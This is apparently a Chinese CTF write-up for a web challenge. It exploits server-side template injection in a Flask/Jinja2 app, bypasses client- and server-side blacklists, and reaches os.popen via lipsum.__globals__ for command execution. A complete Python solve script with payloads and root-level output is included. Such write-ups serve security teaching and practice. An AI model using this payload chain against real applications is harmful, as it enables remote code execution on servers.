template-wp

Zengan 2026-09-15 17:05:48 13 0 返回题目详情


# template


## Summary


Flask + Jinja2 应用把用户输入直接作为模板渲染,构成 SSTI。题目用两层黑名单增加趣味:前端 JS 拦截 `{ } %`,服务端拦截字符 `' | . +` 与子串 `init / class / os / flag`。用 `["key"]` 下标代替点号、用 `~` 拼接字符串代替被禁词,经 `lipsum.__globals__` 到达 `os.popen` 实现 RCE,读取 `/flag`。


## Solution


### Step 1: 指纹识别与入口分析


首页响应头泄露技术栈:


```

Server: Werkzeug/2.2.3 Python/3.7.12

```


页面引用 `/static/js/script.js`,为混淆 JS。解码后得到关键逻辑:


- 若输入包含 `{`、`}` 或 `%`,前端 `alert('hack!!!!!')` 并不发送 —— **纯客户端拦截,手工构造请求即可绕过**;

- 否则以固定 key `xdsecminil` 逐字符 XOR 加密输入并 base64 编码,`POST /build`,body 为 `data=<base64(XOR(input))>`。


服务端 XOR 解码后,把输入**直接传给 Jinja2 渲染**并明文返回结果。


确认 SSTI:发送 `{{7*7}}`,返回 `49`。


### Step 2: 分析服务端黑名单并构造绕过


探测服务端黑名单:


| 类型 | 内容 | 触发响应 |

|------|------|----------|

| 字符 | `'` `|` `.` `+` | `hack!!!!...` |

| 词(子串匹配) | `init` `class` `os` `flag` | `hack!!!!...` |


绕过思路:


- 禁 `.`、`|`、`'` → 属性访问全部改用 `["name"]` 双引号下标;

- 禁 `init`、`class`、`os`、`flag` 子串 → 用 Jinja2 的 `~` 字符串拼接拆开,如 `"o"~"s"`、`"cat /f"~"lag"`。注意 `__globals__` 不含被禁子串,可直接使用。


Jinja2 全局函数 `lipsum` 挂在 `jinja2.utils` 模块上,其 `__globals__` 即模块全局命名空间,其中可直接拿到 `os`,于是构造经典链:


```

{{lipsum["__globals__"]["o"~"s"]["popen"]("id")["read"]()}}

```


### Step 3: 编码并发送,读取 flag


完整解题脚本(从构造 payload 到打印 flag 一步到位):


```python

#!/usr/bin/env python3

import base64

import urllib.request

import urllib.parse


URL = "http://49.232.142.230:14231/build"

KEY = b"xdsecminil" # 从 /static/js/script.js 解码得到


def xor_b64(payload: str) -> str:

data = payload.encode()

return base64.b64encode(bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(data))).decode()


def send(payload: str) -> str:

body = urllib.parse.urlencode({"data": xor_b64(payload)}).encode()

req = urllib.request.Request(URL, data=body,

headers={"Content-Type": "application/x-www-form-urlencoded"})

return urllib.request.urlopen(req).read().decode()


# 1) 验证 SSTI

print(send('{{7*7}}')) # -> 49


# 2) RCE 验证

print(send('{{lipsum["__globals__"]["o"~"s"]["popen"]("id")["read"]()}}'))

# -> uid=0(root) ...


# 3) 读取 flag("flag" 子串被禁,用 ~ 拼接绕过)

print(send('{{lipsum["__globals__"]["o"~"s"]["popen"]("cat /f"~"lag")["read"]()}}'))

```


运行输出(节选):


```

49

uid=0(root) gid=0(root) groups=0(root)

flag{68ac2d376baf9355f759b56823b4128a}

```


## Flag


```

flag{68ac2d376baf9355f759b56823b4128a}

```

分类:WEB
image
作者:Zengan

8

提交

0

收入

相关WriteUP

  • web1

    打开题目地址发现一堆滑稽笑脸查看网页源代码得到flag

    • WEB
    • 5年前
  • web2

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 5年前
  • web3

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 5年前
  • web4

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 5年前
  • web5

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 5年前
问题反馈